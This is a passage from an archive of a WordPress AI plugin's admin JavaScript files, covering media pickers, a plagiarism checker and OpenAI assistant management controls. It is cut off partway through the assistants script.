[ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_media_manager_user_b').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_user_b').val(ids); Refresh_Image_User_b(ids); anythingChanged(); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_user_b').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); }); function Refresh_Image_New(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('aiomatic-preview-image', 'aiomatic-preview-image-new'); jQuery('#aiomatic-preview-image-new').replaceWith( response.data.image ); } }); } function Refresh_Image(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { jQuery('#aiomatic-preview-image').replaceWith( response.data.image ); } }); } function Refresh_Image_User(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('id="aiomatic-preview-image"', 'id="aiomatic-preview-image-user"'); jQuery('#aiomatic-preview-image-user').replaceWith( response.data.image ); } }); } function Refresh_Image_Advanced(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { jQuery('#aiomatic-preview-image-advanced').replaceWith( response.data.image ); } }); } function Refresh_Image_b(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('id="aiomatic-preview-image"', 'id="aiomatic-preview-image-b"'); jQuery('#aiomatic-preview-image-b').replaceWith( response.data.image ); const srcPattern = /src="([^"]+?)"/; const match = response.data.image.match(srcPattern); if (match && match.length > 1) { jQuery('.openai-chat-avatar').attr('src', match[1]); } else { console.log("Src attribute not found."); } } }); } function Refresh_Image_User_b(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('id="aiomatic-preview-image"', 'id="aiomatic-preview-image-user-b"'); jQuery('#aiomatic-preview-image-user-b').replaceWith( response.data.image ); const srcPattern = /src="([^"]+?)"/; const match = response.data.image.match(srcPattern); if (match && match.length > 1) { jQuery('.openai-chat-avatar-user').attr('src', match[1]); } else { console.log("Src user attribute not found."); } } }); }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/plagiarism.js�������������������������������������������������������������������������������0000644�����������������00000010011�14757771437�0010740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function(){ function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery('#button-start-plagiarism').on('click', function (e){ e.preventDefault(); var error_message = false; var inputv = jQuery('#aiomatic_plagiarism_input'); if(inputv.val() === ''){ error_message = 'Please enter a text to check!'; } if(error_message){ alert(error_message) } else{ aiomaticCheckPlagiation(inputv.val()); } return false; }); function aiomaticCheckPlagiation(text){ var btn = jQuery('#button-start-plagiarism'); var aiomatic_error_message = jQuery('#aiomatic-error-msg-plagiarism'); var aiomatic_upload_success = jQuery('#aiomatic_plagiarism_success'); var aiomatic_progress = jQuery('#aiomatic_progress'); var data = { action: 'aiomatic_plagiarism_check_text', text: text, nonce: aiomatic_plagiarism_object.nonce }; jQuery.ajax({ url: aiomatic_plagiarism_object.ajax_url, data: data, type: 'POST', xhr: function () { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function (evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width', (Math.round(percentComplete * 100)) + '%'); } }, false); return xhr; }, beforeSend: function () { aiomatic_progress.find('span').css('width', '0'); aiomatic_progress.show(); aiomatic_progress.css('visibility','visible'); aiomaticLoading(btn); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, success: function (res) { if (res.success == true) { console.log('Success ' + JSON.stringify(res)); aiomaticRmLoading(btn); aiomatic_progress.hide(); aiomatic_upload_success.show(); aiomatic_upload_success.css('visibility','visible'); var percentage = res.data.result.percentage; var sources = res.data.result.report; sources = JSON.parse(sources); var sourceList = sources.map(function(item) { return item.source || 'Undefined source'; }); var sourceText = sourceList.join('\n'); if(sourceText == '') { sourceText = 'No sources found'; } jQuery('#aiomatic_plagiarism_result').text(sourceText); jQuery('#aiomatic_plagiarism_percentage').val('Detected plagiarism percentage: ' + percentage + '%'); aiomatic_error_message.html(''); aiomatic_error_message.hide(); } else { aiomaticRmLoading(btn); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.data.message); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }, error: function () { aiomaticRmLoading(btn); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); aiomatic_error_message.html('Please try again'); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }); } });�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/assistants.js�������������������������������������������������������������������������������0000644�����������������00000165427�14757771437�0011032 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; function aiomaticLoading2(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery(document).ready(function() { jQuery('input#aiomatic_media_clear_new').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_new').val('0'); jQuery('#aiomatic-preview-image-new').removeAttr('src'); jQuery('#aiomatic-preview-image-new').removeAttr('srcset'); jQuery('#aiomatic-preview-image-new').removeAttr('width'); jQuery('#aiomatic-preview-image-new').removeAttr('height'); jQuery('#aiomatic-preview-image-new').removeAttr('sizes'); jQuery('#aiomatic-preview-image-new').removeAttr('loading'); jQuery('#aiomatic-preview-image-new').removeAttr('decoding'); jQuery('#aiomatic-preview-image-new').removeAttr('alt'); jQuery('#aiomatic-preview-image-new').removeAttr('class'); }); jQuery('body').on('click', '#aiomatic_media_clear_new-edit', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_new-edit').val('0'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('src'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('srcset'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('width'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('height'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('sizes'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('loading'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('decoding'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('alt'); jQuery('#aiomatic-preview-image-new-edit').removeAttr('class'); }); jQuery('input#aiomatic_media_manager_new').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_new').val(ids); Refresh_Image_New(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_new').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_god_mode_new-edit').on('click', function(e) { e.preventDefault(); var god_mode = '0'; var dalle = '0'; var stable = '0'; var midjourney = '0'; var amazon = '0'; var amazon_details = '0'; var scraper = '0'; var rss = '0'; var google = '0'; var captions = '0'; var royalty = '0'; var youtube = '0'; var email = '0'; var facebook = '0'; var facebook_image = '0'; var twitter = '0'; var instagram = '0'; var pinterest = '0'; var business = '0'; var youtube_community = '0'; var reddit = '0'; var linkedin = '0'; var webhook = '0'; var stable_video = '0'; if(jQuery('#function_god_mode-edit').is(":checked")) { god_mode = '1'; } if(jQuery('#function_dalle-edit').is(":checked")) { dalle = '1'; } if(jQuery('#function_stable-edit').is(":checked")) { stable = '1'; } if(jQuery('#function_midjourney-edit').is(":checked")) { midjourney = '1'; } if(jQuery('#function_amazon-edit').is(":checked")) { amazon = '1'; } if(jQuery('#function_amazon_details-edit').is(":checked")) { amazon_details = '1'; } if(jQuery('#function_scraper-edit').is(":checked")) { scraper = '1'; } if(jQuery('#function_rss-edit').is(":checked")) { rss = '1'; } if(jQuery('#function_google-edit').is(":checked")) { google = '1'; } if(jQuery('#function_captions-edit').is(":checked")) { captions = '1'; } if(jQuery('#function_royalty-edit').is(":checked")) { royalty = '1'; } if(jQuery('#function_youtube-edit').is(":checked")) { youtube = '1'; } if(jQuery('#function_email-edit').is(":checked")) { email = '1'; } if(jQuery('#function_facebook-edit').is(":checked")) { facebook = '1'; } if(jQuery('#function_facebook_image-edit').is(":checked")) { facebook_image = '1'; } if(jQuery('#function_twitter-edit').is(":checked")) { twitter = '1'; } if(jQuery('#function_instagram-edit').is(":checked")) { instagram = '1'; } if(jQuery('#function_pinterest-edit').is(":checked")) { pinterest = '1'; } if(jQuery('#function_business-edit').is(":checked")) { business = '1'; } if(jQuery('#function_youtube_community-edit').is(":checked")) { youtube_community = '1'; } if(jQuery('#function_reddit-edit').is(":checked")) { reddit = '1'; } if(jQuery('#function_linkedin-edit').is(":checked")) { linkedin = '1'; } if(jQuery('#function_webhook-edit').is(":checked")) { webhook = '1'; } if(jQuery('#function_stable_video-edit').is(":checked")) { stable_video = '1'; } jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_get_god_mode_function', god_mode: god_mode, stable_video: stable_video, webhook: webhook, linkedin: linkedin, reddit: reddit, youtube_community: youtube_community, business: business, pinterest: pinterest, instagram: instagram, twitter: twitter, facebook_image: facebook_image, facebook: facebook, dalle: dalle, stable: stable, midjourney: midjourney, amazon: amazon, amazon_details: amazon_details, scraper: scraper, rss: rss, google: google, captions: captions, royalty: royalty, youtube: youtube, email: email, nonce: aiomatic_object.nonce}, type: 'POST', success: function (res) { if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { var god_json = res.json; jQuery('#aiomatic-assistant-functions-edit').val(god_json); } }, error: function (r, s, error) { alert('Error in processing file sync: ' + error); } }); }); jQuery('input#aiomatic_god_mode_new_disable-edit').on('click', function(e) { e.preventDefault(); var god_json = `[]`; jQuery('#aiomatic-assistant-functions-edit').val(god_json); }); jQuery('input#aiomatic_god_mode_new').on('click', function(e) { e.preventDefault(); var god_mode = '0'; var dalle = '0'; var stable = '0'; var midjourney = '0'; var amazon = '0'; var amazon_details = '0'; var scraper = '0'; var rss = '0'; var google = '0'; var captions = '0'; var royalty = '0'; var youtube = '0'; var email = '0'; var facebook = '0'; var facebook_image = '0'; var twitter = '0'; var instagram = '0'; var pinterest = '0'; var business = '0'; var youtube_community = '0'; var reddit = '0'; var linkedin = '0'; var webhook = '0'; var stable_video = '0'; if(jQuery('#function_god_mode').is(":checked")) { god_mode = '1'; } if(jQuery('#function_dalle').is(":checked")) { dalle = '1'; } if(jQuery('#function_stable').is(":checked")) { stable = '1'; } if(jQuery('#function_midjourney').is(":checked")) { midjourney = '1'; } if(jQuery('#function_amazon').is(":checked")) { amazon = '1'; } if(jQuery('#function_amazon_details').is(":checked")) { amazon_details = '1'; } if(jQuery('#function_scraper').is(":checked")) { scraper = '1'; } if(jQuery('#function_rss').is(":checked")) { rss = '1'; } if(jQuery('#function_google').is(":checked")) { google = '1'; } if(jQuery('#function_captions').is(":checked")) { captions = '1'; } if(jQuery('#function_royalty').is(":checked")) { royalty = '1'; } if(jQuery('#function_youtube').is(":checked")) { youtube = '1'; } if(jQuery('#function_email').is(":checked")) { email = '1'; } if(jQuery('#function_facebook').is(":checked")) { facebook = '1'; } if(jQuery('#function_facebook_image').is(":checked")) { facebook_image = '1'; } if(jQuery('#function_twitter').is(":checked")) { twitter = '1'; } if(jQuery('#function_instagram').is(":checked")) { instagram = '1'; } if(jQuery('#function_pinterest').is(":checked")) { pinterest = '1'; } if(jQuery('#function_business').is(":checked")) { business = '1'; } if(jQuery('#function_youtube_community').is(":checked")) { youtube_community = '1'; } if(jQuery('#function_reddit').is(":checked")) { reddit = '1'; } if(jQuery('#function_linkedin').is(":checked")) { linkedin = '1'; } if(jQuery('#function_webhook').is(":checked")) { webhook = '1'; } if(jQuery('#function_stable_video').is(":checked")) { stable_video = '1'; } jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_get_god_mode_function', god_mode: god_mode, stable_video: stable_video, midjourney: midjourney, webhook: webhook, linkedin: linkedin, reddit: reddit, youtube_community: youtube_community, business: business, pinterest: pinterest, instagram: instagram, twitter: twitter, facebook_image: facebook_image, facebook: facebook, dalle: dalle, stable: stable, amazon: amazon, amazon_details: amazon_details, scraper: scraper, rss: rss, google: google, captions: captions, royalty: royalty, youtube: youtube, email: email, nonce: aiomatic_object.nonce}, type: 'POST', success: function (res) { if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { var god_json = res.json; jQuery('#aiomatic-assistant-functions').val(god_json); } }, error: function (r, s, error) { alert('Error in processing file sync: ' + error); } }); }); jQuery('input#aiomatic_god_mode_new_disable').on('click', function(e) { e.preventDefault(); var god_json = `[]`; jQuery('#aiomatic-assistant-functions').val(god_json); }); jQuery('input#aiomatic_media_manager_new-edit').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_new-edit').val(ids); Refresh_Image_Edit(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_new-edit').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); function Refresh_Image_New(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_object.singlenonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('aiomatic-preview-image', 'aiomatic-preview-image-new'); jQuery('#aiomatic-preview-image-new').replaceWith( response.data.image ); } }); } function Refresh_Image_Edit(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_object.singlenonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { response.data.image = response.data.image.replace('aiomatic-preview-image', 'aiomatic-preview-image-new-edit'); jQuery('#aiomatic-preview-image-new-edit').replaceWith( response.data.image ); } }); } function timeConverter(UNIX_timestamp){ var a = new Date(UNIX_timestamp * 1000); var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']; var year = a.getFullYear(); var month = months[a.getMonth()]; var date = a.getDate(); var hour = a.getHours() < 10 ? '0' + a.getHours() : a.getHours(); var min = a.getMinutes() < 10 ? '0' + a.getMinutes() : a.getMinutes(); var sec = a.getSeconds() < 10 ? '0' + a.getSeconds() : a.getSeconds(); var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ; return time; } jQuery('body').on('click', '.aiomatic_download_file', function() { var dataID = jQuery(this).attr('data-id'); if(dataID != '') { var btn = jQuery(this); jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_download_file', id: dataID, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { var hiddenElement = document.createElement('a'); hiddenElement.href = 'data:attachment/text,' + encodeURI(res.data); hiddenElement.target = '_blank'; hiddenElement.download = res.filename; hiddenElement.click(); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file sync: ' + error); } }); } else { alert('Empty data-id provided'); } }); jQuery('body').on('click', '.aiomatic_delete_file', function() { var dataID = jQuery(this).attr('data-id'); if(dataID != '') { var btn = jQuery(this); jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_delete_assistant_file', id: dataID, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { location.reload(); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file sync: ' + error); } }); } else { alert('Empty data-id provided'); } }); jQuery('body').on('click', '#aiomatic_file_button', function() { var aiomatic_file_upload = jQuery('#aiomatic_assistant_file_upload'); if(aiomatic_file_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_file_button = jQuery('#aiomatic_file_button'); var aiomatic_file = aiomatic_file_upload[0].files[0]; var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); if(aiomatic_file.size > aiomatic_max_file_size){ aiomatic_file_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_assistant_file_upload'); formData.append('file', aiomatic_file); formData.append('nonce', aiomatic_object.nonce); jQuery.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading2(aiomatic_file_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.hide(); aiomatic_file_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_file_upload.val(''); aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing finetune uploading: ' + error); aiomatic_error_message.show(); } }); } } }); var assistent_files = []; var aiomaticAjaxRunning = false; jQuery('#aiomatic_sync_assistant_files').on('click', function (e){ e.preventDefault(); jQuery("#aiomatic-assistants-files > tbody").empty(); var btn = jQuery(this); if(!aiomaticAjaxRunning) { jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_list_assistant_files', nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { assistent_files = res.data; res.data.forEach(async (tfile) => { var appendme = '<tr><td>' + tfile.id + '</td><td>' + tfile.bytes + '</td><td>' + tfile.purpose + '</td><td>' + timeConverter(tfile.created_at) + '</td><td>' + tfile.filename + '</td><td>' + tfile.status + '</td><td><button data-id="' + tfile.id + '" class="button button-small aiomatic_download_file"'; if(tfile.purpose == 'assistants') { appendme += ' disabled'; } appendme += '>Download</button><button data-id="' + tfile.id + '" class="button button-small button-link-delete aiomatic_delete_file">Delete</button></td></tr>'; jQuery('#aiomatic-assistants-files > tbody:last-child').append(appendme); }); aiomatic_refresh_options(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file sync: ' + error); } }); } }); jQuery( "#aiomatic_sync_assistant_files" ).trigger( "click" ); function aiomatic_refresh_options() { assistent_files.forEach(async (tfile) => { jQuery("#aiomatic-assistant-files").append(jQuery('<option>', { value: tfile.id, text: tfile.filename + ' (' + tfile.id + ')' })); }); assistent_files.forEach(async (tfile) => { jQuery("#aiomatic-assistant-files-edit").append(jQuery('<option>', { value: tfile.id, text: tfile.filename + ' (' + tfile.id + ')' })); }); } jQuery(document).on('change', '#aiomatic-assistant-model', function (e) { var model = jQuery('#aiomatic-assistant-model').val(); if(aiomatic_object.retrival_models.includes(model)) { jQuery('#aiomatic-assistant-file_search').prop('disabled', false); } else { jQuery('#aiomatic-assistant-file_search').prop('disabled', true); jQuery("#aiomatic-assistant-file_search").prop("checked", false); } }); jQuery(document).on('change', '#aiomatic-assistant-model-edit', function (e) { var model = jQuery('#aiomatic-assistant-model-edit').val(); if(aiomatic_object.retrival_models.includes(model)) { jQuery('#aiomatic-assistant-file_search-edit').prop('disabled', false); } else { jQuery('#aiomatic-assistant-file_search-edit').prop('disabled', true); jQuery("#aiomatic-assistant-file_search-edit").prop("checked", false); } }); jQuery(document).on('change', '#aiomatic-assistant-code-interpreter', function (e) { if(jQuery("#aiomatic-assistant-code-interpreter").is(':checked') || jQuery("#aiomatic-assistant-file_search").is(':checked')) { jQuery('#aiomatic-assistant-files').prop('disabled', false); } else { jQuery('#aiomatic-assistant-files').prop('disabled', true); } }); jQuery(document).on('change', '#aiomatic-assistant-file_search', function (e) { if(jQuery("#aiomatic-assistant-code-interpreter").is(':checked') || jQuery("#aiomatic-assistant-file_search").is(':checked')) { jQuery('#aiomatic-assistant-files').prop('disabled', false); } else { jQuery('#aiomatic-assistant-files').prop('disabled', true); } }); jQuery(document).on('change', '#aiomatic-assistant-code-interpreter-edit', function (e) { if(jQuery("#aiomatic-assistant-code-interpreter-edit").is(':checked') || jQuery("#aiomatic-assistant-file_search-edit").is(':checked')) { jQuery('#aiomatic-assistant-files-edit').prop('disabled', false); } else { jQuery('#aiomatic-assistant-files-edit').prop('disabled', true); } }); jQuery(document).on('change', '#aiomatic-assistant-file_search-edit', function (e) { if(jQuery("#aiomatic-assistant-code-interpreter-edit").is(':checked') || jQuery("#aiomatic-assistant-file_search-edit").is(':checked')) { jQuery('#aiomatic-assistant-files-edit').prop('disabled', false); } else { jQuery('#aiomatic-assistant-files-edit').prop('disabled', true); } }); jQuery('#aiomatic-assistant-model').trigger("change"); jQuery('#aiomatic-assistant-model-edit').trigger("change"); jQuery('#aiomatic_sync_assistants').on('click', function (e) { e.preventDefault(); if(confirm('Are you sure you want to sync assistants with OpenAI?')) { var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_sync_assistants', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-assistants-success').show(); jQuery('.aiomatic-assistants-content').val(''); setTimeout(function (){ jQuery('.aiomatic-assistants-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing assistant sync: ' + error); } }); } }); jQuery('#aiomatic_delete_selected_assistants').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete selected assistants?')) { var btn = jQuery(this); aiomaticLoading2(btn); var ids = []; jQuery('.aiomatic-select-assistant:checked').each(function (idx, item) { ids.push(jQuery(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_assistants', nonce: aiomatic_object.nonce, ids: ids }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-assistants-success').show(); jQuery('.aiomatic-assistants-content').val(''); setTimeout(function (){ jQuery('.aiomatic-assistants-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing assistant removal selected: ' + error); } }); } else { alert('No assistants selected'); aiomaticRmLoading(btn); } } }); jQuery(".aiomatic_edit_assistant").on('click', function(e) { e.preventDefault(); var assistantid = jQuery(this).attr("edit-id"); if(assistantid == '') { alert('Incorrect edit id submitted'); } else { document.getElementById('mymodalfzr-edit').style.display = "block"; jQuery('#assistant_id').val(assistantid); var data = { action: 'aiomatic_get_assistant', assistantid: assistantid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ if(res.data !== undefined) { if(res.data['vector_store_id'] != '') { jQuery('#aiomatic-assistant-vector-store-edit').text('Vectore Store ID: ' + res.data['vector_store_id']); } jQuery('#aiomatic-assistant-title-edit').val(res.data['post_title']); jQuery('#aiomatic-assistant-prompt-edit').val(res.data['post_content']); jQuery('#aiomatic-assistant-description-edit').val(res.data['post_excerpt']); jQuery('#aiomatic-assistant-temperature-edit').val(res.data['temperature']); jQuery('#aiomatic-assistant-topp-edit').val(res.data['topp']); jQuery("#aiomatic-assistant-model-edit").val(res.data['assistant_model']).change(); jQuery('#aiomatic-assistant-first-message-edit').val(res.data['assistant_first_message']); jQuery('#aiomatic-assistant-files-edit').val(res.data['assistant_files']); if(res.data['featured_image'] > 0) { jQuery('input#aiomatic_image_id_new-edit').val(res.data['featured_image']); Refresh_Image_Edit(res.data['featured_image']); } else { jQuery('input#aiomatic_image_id_new-edit').val(''); Refresh_Image_Edit(''); } var functions_str = JSON.stringify(res.data['functions'],null,2); if(functions_str.includes('aiomatic_wp_god_mode')) { jQuery("#function_god_mode-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_image')) { jQuery("#function_dalle-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_stable_image')) { jQuery("#function_stable-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_stable_image')) { jQuery("#function_midjourney-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_stable_video')) { jQuery("#function_stable_video-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_amazon_listing')) { jQuery("#function_amazon-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_amazon_product_details')) { jQuery("#function_amazon_details-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_website_scraper')) { jQuery("#function_scraper-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_rss_parser')) { jQuery("#function_rss-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_google_parser')) { jQuery("#function_google-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_royalty_free_image')) { jQuery("#function_royalty-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_youtube_captions')) { jQuery("#function_captions-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_youtube_search')) { jQuery("#function_youtube-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_send_email')) { jQuery("#function_email-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_webhook')) { jQuery("#function_webhook-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_facebook')) { jQuery("#function_facebook-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_image_facebook')) { jQuery("#function_facebook_image-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_twitter')) { jQuery("#function_twitter-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_instagram')) { jQuery("#function_instagram-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_pinterest')) { jQuery("#function_pinterest-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_google_my_business')) { jQuery("#function_business-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_youtube_community')) { jQuery("#function_youtube_community-edit").prop( "checked", true ); } if(functions_str.includes('aiomatic_publish_reddit')) { jQuery("#function_reddit-edit").prop( "checked", true ); } 